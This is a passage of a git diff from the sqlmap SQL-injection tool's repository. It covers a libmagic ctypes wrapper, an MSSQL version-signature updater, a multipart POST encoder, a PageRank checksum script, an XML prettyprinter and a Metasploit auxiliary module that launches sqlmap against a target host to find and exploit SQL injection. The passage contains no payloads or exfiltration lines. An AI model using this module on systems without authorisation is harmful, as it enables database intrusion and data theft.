||||
|
||||
def from_buffer(buffer, mime=False):
|
||||
m = _get_magic_type(mime)
|
||||
return m.from_buffer(buffer)
|
||||
|
||||
try:
|
||||
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
|
||||
|
||||
magic_t = ctypes.c_void_p
|
||||
|
||||
def errorcheck(result, func, args):
|
||||
err = magic_error(args[0])
|
||||
if err is not None:
|
||||
raise MagicException(err)
|
||||
else:
|
||||
return result
|
||||
|
||||
magic_open = libmagic.magic_open
|
||||
magic_open.restype = magic_t
|
||||
magic_open.argtypes = [c_int]
|
||||
|
||||
magic_close = libmagic.magic_close
|
||||
magic_close.restype = None
|
||||
magic_close.argtypes = [magic_t]
|
||||
magic_close.errcheck = errorcheck
|
||||
|
||||
magic_error = libmagic.magic_error
|
||||
magic_error.restype = c_char_p
|
||||
magic_error.argtypes = [magic_t]
|
||||
|
||||
magic_errno = libmagic.magic_errno
|
||||
magic_errno.restype = c_int
|
||||
magic_errno.argtypes = [magic_t]
|
||||
|
||||
magic_file = libmagic.magic_file
|
||||
magic_file.restype = c_char_p
|
||||
magic_file.argtypes = [magic_t, c_char_p]
|
||||
magic_file.errcheck = errorcheck
|
||||
|
||||
_magic_buffer = libmagic.magic_buffer
|
||||
_magic_buffer.restype = c_char_p
|
||||
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
|
||||
_magic_buffer.errcheck = errorcheck
|
||||
|
||||
def magic_buffer(cookie, buf):
|
||||
return _magic_buffer(cookie, buf, len(buf))
|
||||
|
||||
magic_load = libmagic.magic_load
|
||||
magic_load.restype = c_int
|
||||
magic_load.argtypes = [magic_t, c_char_p]
|
||||
magic_load.errcheck = errorcheck
|
||||
|
||||
magic_setflags = libmagic.magic_setflags
|
||||
magic_setflags.restype = c_int
|
||||
magic_setflags.argtypes = [magic_t, c_int]
|
||||
|
||||
magic_check = libmagic.magic_check
|
||||
magic_check.restype = c_int
|
||||
magic_check.argtypes = [magic_t, c_char_p]
|
||||
|
||||
magic_compile = libmagic.magic_compile
|
||||
magic_compile.restype = c_int
|
||||
magic_compile.argtypes = [magic_t, c_char_p]
|
||||
except:
|
||||
pass
|
||||
|
||||
MAGIC_NONE = 0x000000 # No flags
|
||||
|
||||
MAGIC_DEBUG = 0x000001 # Turn on debugging
|
||||
|
||||
MAGIC_SYMLINK = 0x000002 # Follow symlinks
|
||||
|
||||
MAGIC_COMPRESS = 0x000004 # Check inside compressed files
|
||||
|
||||
MAGIC_DEVICES = 0x000008 # Look at the contents of devices
|
||||
|
||||
MAGIC_MIME = 0x000010 # Return a mime string
|
||||
|
||||
MAGIC_CONTINUE = 0x000020 # Return all matches
|
||||
|
||||
MAGIC_CHECK = 0x000040 # Print warnings to stderr
|
||||
|
||||
MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
|
||||
|
||||
MAGIC_RAW = 0x000100 # Don't translate unprintable chars
|
||||
|
||||
MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
|
||||
|
||||
MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
|
||||
|
||||
MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
|
||||
|
||||
MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
|
||||
|
||||
MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
|
||||
|
||||
MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
|
||||
|
||||
MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
|
||||
|
||||
MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
|
||||
|
||||
MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
|
||||
|
||||
MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens
|
||||
@@ -2,10 +2,9 @@ To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
|
||||
the example below.
|
||||
|
||||
Note that if you are willing to run Metasploit's sqlmap auxiliary module on
|
||||
Metasploit Framework 3.0 or 3.1 you first need to copy wmap_sqlmap.rb to
|
||||
your <msf3 root path>/modules/auxiliary/scanner/http/ folder then launch
|
||||
msfconsole because this module has been officially integrated in Metasploit
|
||||
from the release 3.2.
|
||||
through WMAP framework you first need to install sqlmap on your system or
|
||||
add its file system path to the PATH environment variable.
|
||||
|
||||
|
||||
$ ./msfconsole
|
||||
|
||||
|
||||
@@ -1,5 +1,15 @@
|
||||
require 'msf/core'
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
@@ -7,12 +17,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::WMAPScanUniqueQuery
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(info,
|
||||
'Name' => 'SQLMAP SQL Injection External Module',
|
||||
'Description' => %q{
|
||||
This module launch a sqlmap session.
|
||||
This module launch a sqlmap session.
|
||||
sqlmap is an automatic SQL injection tool developed in Python.
|
||||
Its goal is to detect and take advantage of SQL injection
|
||||
vulnerabilities on web applications. Once it detects one
|
||||
@@ -25,27 +34,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||
statement, read specific files on the file system and much
|
||||
more.
|
||||
},
|
||||
'Author' => [ 'bernardo.damele [at] gmail.com', 'daniele.bellucci [at] gmail.com' ],
|
||||
'Author' => [ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' ],
|
||||
'License' => BSD_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Version' => '$Revision: 9212 $',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://sqlmap.sourceforge.net'],
|
||||
]
|
||||
))
|
||||
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]),
|
||||
OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]),
|
||||
OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]),
|
||||
OptString.new('BODY', [ false, "The data string to be sent through POST", '' ]),
|
||||
OptString.new('DATA', [ false, "The data string to be sent through POST", '' ]),
|
||||
OptString.new('OPTS', [ false, "The sqlmap options to use", ' ' ]),
|
||||
OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]),
|
||||
OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]),
|
||||
OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", true ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Modify to true if you have sqlmap installed.
|
||||
def wmap_enabled
|
||||
false
|
||||
@@ -53,20 +62,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Test a single host
|
||||
def run_host(ip)
|
||||
|
||||
sqlmap = datastore['SQLMAP_PATH']
|
||||
|
||||
|
||||
sqlmap = datastore['SQLMAP_PATH']
|
||||
|
||||
if not sqlmap
|
||||
print_error("The sqlmap script could not be found")
|
||||
return
|
||||
end
|
||||
|
||||
data = datastore['BODY']
|
||||
data = datastore['DATA']
|
||||
method = datastore['METHOD'].upcase
|
||||
|
||||
sqlmap_url = (datastore['SSL'] ? "https" : "http")
|
||||
sqlmap_url += "://" + self.target_host + ":" + datastore['RPORT']
|
||||
sqlmap_url += "/" + datastore['PATH']
|
||||
sqlmap_url += "://" + wmap_target_host + ":" + wmap_target_port
|
||||
sqlmap_url += "/" + datastore['PATH']
|
||||
|
||||
if method == "GET"
|
||||
sqlmap_url += '?' + datastore['QUERY']
|
||||
@@ -93,3 +102,4 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
140
extra/mssqlsig/update.py
Normal file
140
extra/mssqlsig/update.py
Normal file
@@ -0,0 +1,140 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import difflib
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from xml.dom.minidom import Document
|
||||
|
||||
# Path to the XML file with signatures
|
||||
MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
|
||||
|
||||
# Url to update Microsoft SQL Server XML versions file from
|
||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||
|
||||
def updateMSSQLXML():
|
||||
if not os.path.exists(MSSQL_XML):
|
||||
errMsg = "[ERROR] file '%s' does not exist. please run the script from it's parent directory." % MSSQL_XML
|
||||
print errMsg
|
||||
return
|
||||
|
||||
infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
|
||||
print infoMsg
|
||||
|
||||
try:
|
||||
req = urllib2.Request(MSSQL_VERSIONS_URL)
|
||||
f = urllib2.urlopen(req)
|
||||
mssqlVersionsHtmlString = f.read()
|
||||
f.close()
|
||||
except urllib2.URLError:
|
||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||
__mssqlHostname = __mssqlPath[1]
|
||||
|
||||
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
|
||||
warnMsg += " check your Internet connection and retry"
|
||||
print warnMsg
|
||||
|
||||
return
|
||||
|
||||
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
|
||||
releasesCount = len(releases)
|
||||
|
||||
# Create the minidom document
|
||||
doc = Document()
|
||||
|
||||
# Create the <root> base element
|
||||
root = doc.createElement("root")
|
||||
doc.appendChild(root)
|
||||
|
||||
for index in range(0, releasesCount):
|
||||
release = releases[index]
|
||||
|
||||
# Skip Microsoft SQL Server 6.5 because the HTML
|
||||
# table is in another format
|
||||
if release == "6.5":
|
||||
continue
|
||||
|
||||
# Create the <signatures> base element
|
||||
signatures = doc.createElement("signatures")
|
||||
signatures.setAttribute("release", release)
|
||||
root.appendChild(signatures)
|
||||
|
||||
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
|
||||
|
||||
if index == releasesCount - 1:
|
||||
stopIdx = len(mssqlVersionsHtmlString)
|
||||
else:
|
||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||
|
||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
|
||||
|
||||
for servicePack, version in servicepackVersion:
|
||||
if servicePack.startswith(" "):
|
||||
servicePack = servicePack[1:]
|
||||
if "/" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("/")]
|
||||
if "(" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("(")]
|
||||
if "-" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("-")]
|
||||
if "*" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("*")]
|
||||
if servicePack.startswith("+"):
|
||||
servicePack = "0%s" % servicePack
|
||||
|
||||
servicePack = servicePack.replace("\t", " ")
|
||||
servicePack = servicePack.replace("No SP", "0")
|
||||
servicePack = servicePack.replace("RTM", "0")
|
||||
servicePack = servicePack.replace("SP", "")
|
||||
servicePack = servicePack.replace("Service Pack", "")
|
||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||
servicePack = servicePack.replace(" ", " ")
|
||||
servicePack = servicePack.replace("+ ", "+")
|
||||
servicePack = servicePack.replace(" +", "+")
|
||||
|
||||
if servicePack.endswith(" "):
|
||||
servicePack = servicePack[:-1]
|
||||
|
||||
if servicePack and version:
|
||||
# Create the main <card> element
|
||||
signature = doc.createElement("signature")
|
||||
signatures.appendChild(signature)
|
||||
|
||||
# Create a <version> element
|
||||
versionElement = doc.createElement("version")
|
||||
signature.appendChild(versionElement)
|
||||
|
||||
# Give the <version> elemenet some text
|
||||
versionText = doc.createTextNode(version)
|
||||
versionElement.appendChild(versionText)
|
||||
|
||||
# Create a <servicepack> element
|
||||
servicepackElement = doc.createElement("servicepack")
|
||||
signature.appendChild(servicepackElement)
|
||||
|
||||
# Give the <servicepack> elemenet some text
|
||||
servicepackText = doc.createTextNode(servicePack)
|
||||
servicepackElement.appendChild(servicepackText)
|
||||
|
||||
# Save our newly created XML to the signatures file
|
||||
mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
|
||||
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
|
||||
mssqlXml.close()
|
||||
|
||||
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
|
||||
print infoMsg
|
||||
|
||||
if __name__ == "__main__":
|
||||
updateMSSQLXML()
|
||||
3
extra/multipart/__init__.py
Normal file
3
extra/multipart/__init__.py
Normal file
@@ -0,0 +1,3 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
pass
|
||||
@@ -5,6 +5,8 @@ $Id$
|
||||
|
||||
02/2006 Will Holcomb <wholcomb@gmail.com>
|
||||
|
||||
Reference: http://odin.himinbi.org/MultipartPostHandler.py
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
@@ -14,10 +16,12 @@ This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import mimetools
|
||||
import mimetypes
|
||||
import os
|
||||
@@ -33,7 +37,6 @@ class Callable:
|
||||
def __init__(self, anycallable):
|
||||
self.__call__ = anycallable
|
||||
|
||||
|
||||
# Controls how sequences are uncoded. If true, elements may be given
|
||||
# multiple values by assigning a sequence.
|
||||
doseq = 1
|
||||
@@ -44,15 +47,17 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||
|
||||
def http_request(self, request):
|
||||
data = request.get_data()
|
||||
|
||||
if data is not None and type(data) != str:
|
||||
v_files = []
|
||||
v_vars = []
|
||||
|
||||
try:
|
||||
for(key, value) in data.items():
|
||||
if type(value) == file:
|
||||
v_files.append((key, value))
|
||||
else:
|
||||
v_vars.append((key, value))
|
||||
for(key, value) in data.items():
|
||||
if type(value) == file or hasattr(value, 'file'):
|
||||
v_files.append((key, value))
|
||||
else:
|
||||
v_vars.append((key, value))
|
||||
except TypeError:
|
||||
systype, value, traceback = sys.exc_info()
|
||||
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
||||
@@ -69,29 +74,35 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||
request.add_data(data)
|
||||
return request
|
||||
|
||||
|
||||
def multipart_encode(vars, files, boundary = None, buffer = None):
|
||||
def multipart_encode(vars, files, boundary = None, buf = None):
|
||||
if boundary is None:
|
||||
boundary = mimetools.choose_boundary()
|
||||
if buffer is None:
|
||||
buffer = ''
|
||||
for(key, value) in vars:
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
||||
buffer += '\r\n\r\n' + value + '\r\n'
|
||||
for(key, fd) in files:
|
||||
|
||||
if buf is None:
|
||||
buf = ''
|
||||
|
||||
for (key, value) in vars:
|
||||
buf += '--%s\r\n' % boundary
|
||||
buf += 'Content-Disposition: form-data; name="%s"' % key
|
||||
buf += '\r\n\r\n' + value + '\r\n'
|
||||
|
||||
for (key, fd) in files:
|
||||
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
||||
filename = fd.name.split('/')[-1]
|
||||
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
|
||||
buffer += 'Content-Type: %s\r\n' % contenttype
|
||||
# buffer += 'Content-Length: %s\r\n' % file_size
|
||||
buf += '--%s\r\n' % boundary
|
||||
buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
|
||||
buf += 'Content-Type: %s\r\n' % contenttype
|
||||
# buf += 'Content-Length: %s\r\n' % file_size
|
||||
fd.seek(0)
|
||||
buffer += '\r\n' + fd.read() + '\r\n'
|
||||
buffer += '--%s--\r\n\r\n' % boundary
|
||||
return boundary, buffer
|
||||
|
||||
buf = str(buf)
|
||||
buf += '\r\n%s\r\n' % fd.read()
|
||||
|
||||
buf += '--%s--\r\n\r\n' % boundary
|
||||
|
||||
return boundary, buf
|
||||
|
||||
multipart_encode = Callable(multipart_encode)
|
||||
|
||||
https_request = http_request
|
||||
|
||||
26
extra/odict/__init__.py
Normal file
26
extra/odict/__init__.py
Normal file
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# The BSD License
|
||||
#
|
||||
# Copyright 2003-2008 Nicola Larosa, Michael Foord
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
#
|
||||
|
||||
pass
|
||||
1399
extra/odict/odict.py
Normal file
1399
extra/odict/odict.py
Normal file
File diff suppressed because it is too large
Load Diff
26
extra/pagerank/__init__.py
Normal file
26
extra/pagerank/__init__.py
Normal file
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# The MIT License
|
||||
#
|
||||
# Copyright 2010 Corey Goldberg
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
#
|
||||
|
||||
pass
|
||||
75
extra/pagerank/pagerank.py
Normal file
75
extra/pagerank/pagerank.py
Normal file
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Script for getting Google Page Rank of page
|
||||
# Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm
|
||||
#
|
||||
# original from http://pagerank.gamesaga.net/
|
||||
# this version was adapted from http://www.djangosnippets.org/snippets/221/
|
||||
# by Corey Goldberg - 2010
|
||||
#
|
||||
# Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
|
||||
|
||||
import urllib
|
||||
|
||||
def get_pagerank(url):
|
||||
hsh = check_hash(hash_url(url))
|
||||
gurl = 'http://www.google.com/search?client=navclient-auto&features=Rank:&q=info:%s&ch=%s' % (urllib.quote(url), hsh)
|
||||
try:
|
||||
f = urllib.urlopen(gurl)
|
||||
rank = f.read().strip()[9:]
|
||||
except Exception:
|
||||
rank = 'N/A'
|
||||
if rank == '':
|
||||
rank = '0'
|
||||
return rank
|
||||
|
||||
def int_str(string, integer, factor):
|
||||
for i in range(len(string)) :
|
||||
integer *= factor
|
||||
integer &= 0xFFFFFFFF
|
||||
integer += ord(string[i])
|
||||
return integer
|
||||
|
||||
def hash_url(string):
|
||||
c1 = int_str(string, 0x1505, 0x21)
|
||||
c2 = int_str(string, 0, 0x1003F)
|
||||
|
||||
c1 >>= 2
|
||||
c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F)
|
||||
c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF)
|
||||
c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF)
|
||||
|
||||
t1 = (c1 & 0x3C0) << 4
|
||||
t1 |= c1 & 0x3C
|
||||
t1 = (t1 << 2) | (c2 & 0xF0F)
|
||||
|
||||
t2 = (c1 & 0xFFFFC000) << 4
|
||||
t2 |= c1 & 0x3C00
|
||||
t2 = (t2 << 0xA) | (c2 & 0xF0F0000)
|
||||
|
||||
return (t1 | t2)
|
||||
|
||||
def check_hash(hash_int):
|
||||
hash_str = '%u' % (hash_int)
|
||||
flag = 0
|
||||
check_byte = 0
|
||||
|
||||
i = len(hash_str) - 1
|
||||
while i >= 0:
|
||||
byte = int(hash_str[i])
|
||||
if 1 == (flag % 2):
|
||||
byte *= 2;
|
||||
byte = byte / 10 + byte % 10
|
||||
check_byte += byte
|
||||
flag += 1
|
||||
i -= 1
|
||||
|
||||
check_byte %= 10
|
||||
if 0 != check_byte:
|
||||
check_byte = 10 - check_byte
|
||||
if 1 == flag % 2:
|
||||
if 1 == check_byte % 2:
|
||||
check_byte += 9
|
||||
check_byte >>= 1
|
||||
|
||||
return '7' + str(check_byte) + hash_str
|
||||
26
extra/prettyprint/__init__.py
Executable file
26
extra/prettyprint/__init__.py
Executable file
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
#Copyright (c) 2010, Chris Hall <chris.hall@mod10.net>
|
||||
#All rights reserved.
|
||||
|
||||
#Redistribution and use in source and binary forms, with or without modification,
|
||||
#are permitted provided that the following conditions are met:
|
||||
|
||||
#* Redistributions of source code must retain the above copyright notice,
|
||||
#this list of conditions and the following disclaimer.
|
||||
#* Redistributions in binary form must reproduce the above copyright notice,
|
||||
#this list of conditions and the following disclaimer in the documentation
|
||||
#and/or other materials provided with the distribution.
|
||||
|
||||
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
pass
|
||||
100
extra/prettyprint/prettyprint.py
Normal file
100
extra/prettyprint/prettyprint.py
Normal file
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
#Copyright (c) 2010, Miroslav Stampar <miroslav.stampar@gmail.com>
|
||||
#Added formatXML method
|
||||
|
||||
#Copyright (c) 2010, Chris Hall <chris.hall@mod10.net>
|
||||
#All rights reserved.
|
||||
|
||||
#Redistribution and use in source and binary forms, with or without modification,
|
||||
#are permitted provided that the following conditions are met:
|
||||
|
||||
#* Redistributions of source code must retain the above copyright notice,
|
||||
#this list of conditions and the following disclaimer.
|
||||
#* Redistributions in binary form must reproduce the above copyright notice,
|
||||
#this list of conditions and the following disclaimer in the documentation
|
||||
#and/or other materials provided with the distribution.
|
||||
|
||||
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
from xml.dom import minidom
|
||||
from xml.dom import Node
|
||||
|
||||
def format(text):
|
||||
doc = minidom.parseString(text)
|
||||
root = doc.childNodes[0]
|
||||
return root.toprettyxml(indent=' ')
|
||||
|
||||
def formatXML(doc, encoding=None):
|
||||
root = doc.childNodes[0]
|
||||
return root.toprettyxml(indent=' ', encoding=encoding)
|
||||
|
||||
def _patch_minidom():
|
||||
minidom.Text.writexml = _writexml_text
|
||||
minidom.Element.writexml = _writexml_element
|
||||
minidom.Node.toprettyxml = _toprettyxml_node
|
||||
|
||||
def _collapse(node):
|
||||
for child in node.childNodes:
|
||||
if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0:
|
||||
child.data = ''
|
||||
else:
|
||||
_collapse(child)
|
||||
|
||||
def _writexml_text(self, writer, indent="", addindent="", newl=""):
|
||||
minidom._write_data(writer, "%s"%(self.data.strip()))
|
||||
|
||||
def _writexml_element(self, writer, indent="", addindent="", newl=""):
|
||||
# indent = current indentation
|
||||
# addindent = indentation to add to higher levels
|
||||
# newl = newline string
|
||||
writer.write(indent+"<" + self.tagName)
|
||||
|
||||
attrs = self._get_attributes()
|
||||
a_names = attrs.keys()
|
||||
a_names.sort()
|
||||
|
||||
for a_name in a_names:
|
||||
writer.write(" %s=\"" % a_name)
|
||||
minidom._write_data(writer, attrs[a_name].value)
|
||||
writer.write("\"")
|
||||
if self.childNodes:
|
||||
if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0:
|
||||
writer.write(">")
|
||||
else:
|
||||
writer.write(">%s"%(newl))
|
||||
for node in self.childNodes:
|
||||
node.writexml(writer,indent+addindent,addindent,newl)
|
||||
if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0:
|
||||
writer.write("</%s>%s" % (self.tagName,newl))
|
||||
else:
|
||||
writer.write("%s</%s>%s" % (indent,self.tagName,newl))
|
||||
else:
|
||||
writer.write("/>%s"%(newl))
|
||||
|
||||
def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None):
|
||||
_collapse(self)
|
||||
# indent = the indentation string to prepend, per level
|
||||
# newl = the newline string to append
|
||||
writer = minidom._get_StringIO()
|
||||
if encoding is not None:
|
||||
import codecs
|
||||
# Can't use codecs.getwriter to preserve 2.0 compatibility
|
||||
writer = codecs.lookup(encoding)[3](writer)
|
||||
if self.nodeType == Node.DOCUMENT_NODE:
|
||||
# Can pass encoding only to document, to put it into XML header
|
||||
